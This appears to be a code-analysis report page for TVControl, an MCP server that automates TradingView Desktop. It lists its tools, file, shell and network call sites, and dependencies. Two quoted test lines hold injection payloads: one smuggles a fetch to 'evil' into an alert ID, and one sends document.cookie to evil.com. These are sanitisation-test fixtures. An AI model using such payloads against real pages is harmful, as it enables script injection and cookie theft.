github JavaScript re-analysis due

FerroxLabs/tvcontrol

github

TVControl by Ferrox Labs — TradingView MCP System. AI remote control for TradingView Desktop. 88 MCP tools driving symbols, indicators, Pine, snapshots, sweeps, replay, and live chart vision. All local, zero cloud calls.

maintainer
FerroxLabs
license
NOASSERTION
first seen
2026-06-01
last seen
2026-08-31
releases · 30d
2
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 110 tools
transport stdio counts 110 tools · 0 res · 0 prompts permission surface via code analysis

tools

  • alert_create
  • alert_create_bulk
  • alert_delete
  • alert_delete_by_id
  • alert_list
  • batch_run
  • capture_screenshot
  • chart_get_state
  • chart_get_visible_range
  • chart_manage_indicator
  • chart_scroll_to_date
  • chart_set_symbol
  • chart_set_timeframe
  • chart_set_type
  • chart_set_visible_range
  • chart_vision_read
  • data_get_equity
  • data_get_indicator
  • data_get_ohlcv
  • data_get_pine_boxes
  • data_get_pine_labels
  • data_get_pine_lines
  • data_get_pine_tables
  • data_get_strategy_results
  • data_get_study_values
  • data_get_trades
  • depth_get
  • draw_clear
  • draw_get_properties
  • draw_list
  • draw_remove_one
  • draw_shape
  • indicator_add_from_search
  • indicator_get_inputs
  • indicator_search
  • indicator_set_inputs
  • indicator_toggle_visibility
  • layout_get_active
  • layout_list
  • layout_switch
  • pane_focus
  • pane_list
  • pane_set_layout
  • pane_set_symbol
  • pine_analyze
  • pine_check
  • pine_compile
  • pine_get_console
  • pine_get_errors
  • pine_get_source
  • pine_list_scripts
  • pine_new
  • pine_open
  • pine_save
  • pine_set_source
  • pine_smart_compile
  • quote_batch
  • quote_get
  • replay_autoplay
  • replay_start
  • replay_status
  • replay_step
  • replay_stop
  • replay_trade
  • state_delete
  • state_list
  • state_restore
  • state_snapshot
  • strategy_sweep
  • symbol_info
  • symbol_search
  • tab_close
  • tab_list
  • tab_new
  • tab_switch
  • tv_capability_matrix
  • tv_chart_health
  • tv_compatibility_check
  • tv_compatibility_snapshot
  • tv_discover
  • tv_health_check
  • tv_launch
  • tv_repair_chart
  • tv_support_bundle
  • tv_ui_state
  • tv_update
  • tv_watchdog_history
  • tv_watchdog_sample
  • tv_watchdog_start
  • tv_watchdog_status
  • tv_watchdog_stop
  • ui_click
  • ui_evaluate
  • ui_find_element
  • ui_fullscreen
  • ui_hover
  • ui_keyboard
  • ui_mouse_click
  • ui_open_panel
  • ui_scroll
  • ui_type_text
  • watchlist_add
  • watchlist_add_bulk
  • watchlist_export
  • watchlist_get
  • watchlist_get_by_id
  • watchlist_import
  • watchlist_list
  • watchlist_remove
  • watchlist_remove_bulk
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 0ee585f · analyzer v33 · 6d ago

skills & prompt files 22

danger signals4

code evidence vv2.3.0 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 172

filesystem 56

  • fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/check_bin_entrypoint.js :14 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/count_tools.js :2 import { readdirSync, readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_pull.js :4 import { writeFileSync } from 'fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_push.js :19 import { readFileSync } from 'fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/run_offline_tests.js :2 import { readdirSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/scripts/verify_finder.mjs :4 import { readFileSync } from 'fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/cli/commands/pine.js :4 import { readFileSync } from 'fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/cli/commands/reliability.js :4 import { readFileSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/connection.js :3 import { readFileSync, writeFileSync, mkdirSync, renameSync } from 'fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/batch.js :13 import { writeFileSync, mkdirSync } from 'fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/capabilities.js :1 import { readdirSync, readFileSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/capture.js :6 import { writeFileSync, mkdirSync } from 'fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/coordination.js :8 } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/health.js :5 import { existsSync, cpSync, rmSync, readdirSync, mkdirSync, readFileSync, writeFileSync, renameSync, statSync, unlinkSync } from 'fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/receipts.js :1 import { existsSync, mkdirSync, realpathSync, renameSync, writeFileSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/state.js :7 import { writeFileSync, readFileSync, mkdirSync, readdirSync, unlinkSync, renameSync, existsSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/support.js :5 import { readFileSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/sweep.js :5 import { writeFileSync, mkdirSync, existsSync, readFileSync, renameSync, unlinkSync, readdirSync, statSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/telemetry.js :8 import { appendFileSync, existsSync, renameSync, statSync, unlinkSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/update.js :7 import { existsSync as _existsSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/vision.js :4 import { readFileSync, mkdirSync } from 'fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/watchdog.js :7 import { existsSync, mkdirSync, readFileSync, renameSync, writeFileSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/watchdog_service.js :1 import { existsSync, unlinkSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/core/watchlist.js :6 import { writeFileSync, readFileSync, mkdirSync, renameSync, existsSync } from 'node:fs';
  • fs FerroxLabs-tvcontrol-0ee585f/src/server.js :28 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/_helpers.js :12 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/alert_delete_endpoint.test.js :19 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/batch_actions.test.js :16 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/bin_entrypoint.test.js :21 import fs from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/cli.test.js :13 import { writeFileSync, unlinkSync } from 'fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/connection.test.js :14 import { mkdtempSync, existsSync, writeFileSync, utimesSync, rmSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/coordination.test.js :3 import { mkdtempSync, existsSync, writeFileSync, utimesSync, rmSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/field_naming.test.js :11 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/health.test.js :3 import { mkdtempSync, rmSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/hermetic_deps.test.js :20 import { mkdtempSync, writeFileSync, mkdirSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/layout_switch_contract.test.js :15 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_clobber_guard.test.js :17 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_editor_finder.test.js :14 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_list_paging.test.js :13 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_save_contract.test.js :12 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/receipts.test.js :3 import { mkdtempSync, mkdirSync, realpathSync, rmSync, symlinkSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/replay.test.js :7 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/sanitization.test.js :7 import { readFileSync, readdirSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/snapshot_layout.test.js :20 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/state.test.js :8 import { mkdtempSync, rmSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/sweep.test.js :8 import { mkdtempSync, rmSync, mkdirSync, writeFileSync, existsSync, readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/sweep_parallel.test.js :10 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/tab_close_target.test.js :17 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/telemetry.test.js :7 import { mkdtempSync, rmSync, writeFileSync, readFileSync, existsSync, statSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/tool_count.test.js :3 import { readdirSync, readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/ui_open_panel_order.test.js :27 import { readFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/verification_contract.test.js :25 import { writeFileSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/vision.test.js :8 import { mkdtempSync, writeFileSync, rmSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/watchdog.test.js :3 import { mkdtempSync, readFileSync, rmSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/watchlist.test.js :8 import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from 'node:fs';
  • fs (weak) FerroxLabs-tvcontrol-0ee585f/tests/watchlist_api.test.js :18 import { readFileSync } from 'node:fs';

shell / exec 10

  • shell (weak) FerroxLabs-tvcontrol-0ee585f/scripts/run_offline_tests.js :4 import { spawnSync } from 'node:child_process';
  • shell FerroxLabs-tvcontrol-0ee585f/src/core/health.js :6 import { execFileSync, spawn } from 'child_process';
  • shell FerroxLabs-tvcontrol-0ee585f/src/core/update.js :6 import { execFileSync as _execFileSync } from 'node:child_process';
  • shell FerroxLabs-tvcontrol-0ee585f/src/core/watchdog_service.js :2 import { execFileSync } from 'node:child_process';
  • shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/bin_entrypoint.test.js :20 import { spawn, execFileSync } from 'node:child_process';
  • shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/cli.test.js :10 import { execFileSync, execSync } from 'child_process';
  • shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/mcp_stdio.test.js :20 import { spawn, execFileSync } from 'node:child_process';
  • shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/pine_api.test.js :7 import { execFileSync } from 'node:child_process';
  • shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/readonly.test.js :18 import { execFileSync } from 'node:child_process';
  • shell (weak) FerroxLabs-tvcontrol-0ee585f/tests/tool_count.test.js :6 import { execFileSync } from 'node:child_process';

network 15

  • net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/alleditors.mjs :2 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/peek.mjs :9 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_pull.js :6 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_push.js :24 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_save_focused.mjs :5 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/updatechart.mjs :2 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • net (weak) FerroxLabs-tvcontrol-0ee585f/scripts/verify_finder.mjs :10 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • net FerroxLabs-tvcontrol-0ee585f/src/core/alerts.js :107 var response = await fetch('https://pricealerts.tradingview.com/create_alert', {
  • net FerroxLabs-tvcontrol-0ee585f/src/core/chart.js :650 resp = await fetch(`https://symbol-search.tradingview.com/symbol_search/v3/?${params}`, {
  • net FerroxLabs-tvcontrol-0ee585f/src/core/pine.js :998 return fetch('https://pine-facade.tradingview.com/pine-facade/list/?filter=saved', { credentials: 'include' })
  • net FerroxLabs-tvcontrol-0ee585f/src/core/sweep.js :609 // chart is a READ-ONLY metaInfo fetch (_evalConn below). So the start-state
  • net FerroxLabs-tvcontrol-0ee585f/src/core/watchlist.js :95 var res = await fetch(${JSON.stringify(WL_API)} + 'active/', { credentials: 'include' });
  • net (weak) FerroxLabs-tvcontrol-0ee585f/tests/alerts.test.js :86 () => deleteById({ alert_id: '1"; fetch("http://evil");//', _deps }),
  • net (weak) FerroxLabs-tvcontrol-0ee585f/tests/e2e.test.js :909 const response = await fetch(
  • net (weak) FerroxLabs-tvcontrol-0ee585f/tests/sanitization.test.js :56 const payload = "'); fetch('https://evil.com/steal?c=' + document.cookie); ('";

tool registrations 110

  • alert_create FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :6
  • alert_create_bulk FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :21
  • alert_list FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :37
  • alert_delete FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :42
  • alert_delete_by_id FerroxLabs-tvcontrol-0ee585f/src/tools/alerts.js :51
  • batch_run FerroxLabs-tvcontrol-0ee585f/src/tools/batch.js :6
  • capture_screenshot FerroxLabs-tvcontrol-0ee585f/src/tools/capture.js :6
  • chart_get_state FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :7
  • chart_set_symbol FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :12
  • chart_set_timeframe FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :19
  • chart_set_type FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :26
  • chart_manage_indicator FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :33
  • chart_get_visible_range FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :46
  • chart_set_visible_range FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :51
  • chart_scroll_to_date FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :59
  • symbol_info FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :66
  • symbol_search FerroxLabs-tvcontrol-0ee585f/src/tools/chart.js :71
  • data_get_ohlcv FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :6
  • data_get_indicator FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :14
  • data_get_strategy_results FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :21
  • data_get_trades FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :28
  • data_get_equity FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :36
  • quote_get FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :43
  • depth_get FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :50
  • quote_batch FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :60
  • data_get_pine_lines FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :67
  • data_get_pine_labels FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :75
  • data_get_pine_tables FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :84
  • data_get_pine_boxes FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :91
  • data_get_study_values FerroxLabs-tvcontrol-0ee585f/src/tools/data.js :99
  • draw_shape FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :6
  • draw_list FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :17
  • draw_clear FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :22
  • draw_remove_one FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :27
  • draw_get_properties FerroxLabs-tvcontrol-0ee585f/src/tools/drawing.js :34
  • tv_health_check FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :11
  • tv_chart_health FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :16
  • tv_repair_chart FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :23
  • tv_discover FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :36
  • tv_compatibility_check FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :41
  • tv_capability_matrix FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :46
  • tv_support_bundle FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :54
  • tv_compatibility_snapshot FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :61
  • tv_watchdog_sample FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :69
  • tv_watchdog_start FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :74
  • tv_watchdog_stop FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :81
  • tv_watchdog_status FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :86
  • tv_watchdog_history FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :91
  • tv_ui_state FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :98
  • tv_launch FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :103
  • tv_update FerroxLabs-tvcontrol-0ee585f/src/tools/health.js :111
  • indicator_search FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :6
  • indicator_add_from_search FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :14
  • indicator_get_inputs FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :23
  • indicator_set_inputs FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :30
  • indicator_toggle_visibility FerroxLabs-tvcontrol-0ee585f/src/tools/indicators.js :38
  • pane_list FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :6
  • pane_set_layout FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :11
  • pane_focus FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :18
  • pane_set_symbol FerroxLabs-tvcontrol-0ee585f/src/tools/pane.js :25
  • pine_get_source FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :6
  • pine_set_source FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :11
  • pine_compile FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :19
  • pine_get_errors FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :24
  • pine_save FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :29
  • pine_get_console FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :34
  • pine_smart_compile FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :39
  • pine_new FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :44
  • pine_open FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :52
  • pine_list_scripts FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :59
  • pine_analyze FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :68
  • pine_check FerroxLabs-tvcontrol-0ee585f/src/tools/pine.js :75
  • replay_start FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :6
  • replay_step FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :13
  • replay_autoplay FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :18
  • replay_stop FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :26
  • replay_trade FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :31
  • replay_status FerroxLabs-tvcontrol-0ee585f/src/tools/replay.js :38
  • state_snapshot FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :6
  • state_restore FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :14
  • state_list FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :21
  • state_delete FerroxLabs-tvcontrol-0ee585f/src/tools/state.js :26
  • strategy_sweep FerroxLabs-tvcontrol-0ee585f/src/tools/sweep.js :10
  • tab_list FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :6
  • tab_new FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :11
  • tab_close FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :19
  • tab_switch FerroxLabs-tvcontrol-0ee585f/src/tools/tab.js :26
  • ui_click FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :6
  • ui_open_panel FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :14
  • ui_fullscreen FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :22
  • layout_list FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :27
  • layout_get_active FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :36
  • layout_switch FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :41
  • ui_keyboard FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :49
  • ui_type_text FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :57
  • ui_hover FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :65
  • ui_scroll FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :73
  • ui_mouse_click FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :81
  • ui_find_element FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :91
  • ui_evaluate FerroxLabs-tvcontrol-0ee585f/src/tools/ui.js :108
  • chart_vision_read FerroxLabs-tvcontrol-0ee585f/src/tools/vision.js :11
  • watchlist_list FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :6
  • watchlist_get_by_id FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :11
  • watchlist_get FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :18
  • watchlist_add FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :23
  • watchlist_add_bulk FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :39
  • watchlist_remove FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :46
  • watchlist_remove_bulk FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :53
  • watchlist_export FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :60
  • watchlist_import FerroxLabs-tvcontrol-0ee585f/src/tools/watchlist.js :67

install hooks 1

  • prepublishOnly FerroxLabs-tvcontrol-0ee585f/package.json :50 node scripts/check_bin_entrypoint.js

declared dependencies 4

  • @modelcontextprotocol/sdk@1.29.0
  • chrome-remote-interface@0.34.0
  • zod@4.3.6
  • eslint@9.39.4

perm:untrusted 7

  • untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/alleditors.mjs :2 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/peek.mjs :9 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_pull.js :6 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_push.js :24 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/pine_save_focused.mjs :5 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/updatechart.mjs :2 const targets = await (await fetch('http://localhost:9222/json/list')).json();
  • untrusted (weak) FerroxLabs-tvcontrol-0ee585f/scripts/verify_finder.mjs :10 const targets = await (await fetch('http://localhost:9222/json/list')).json();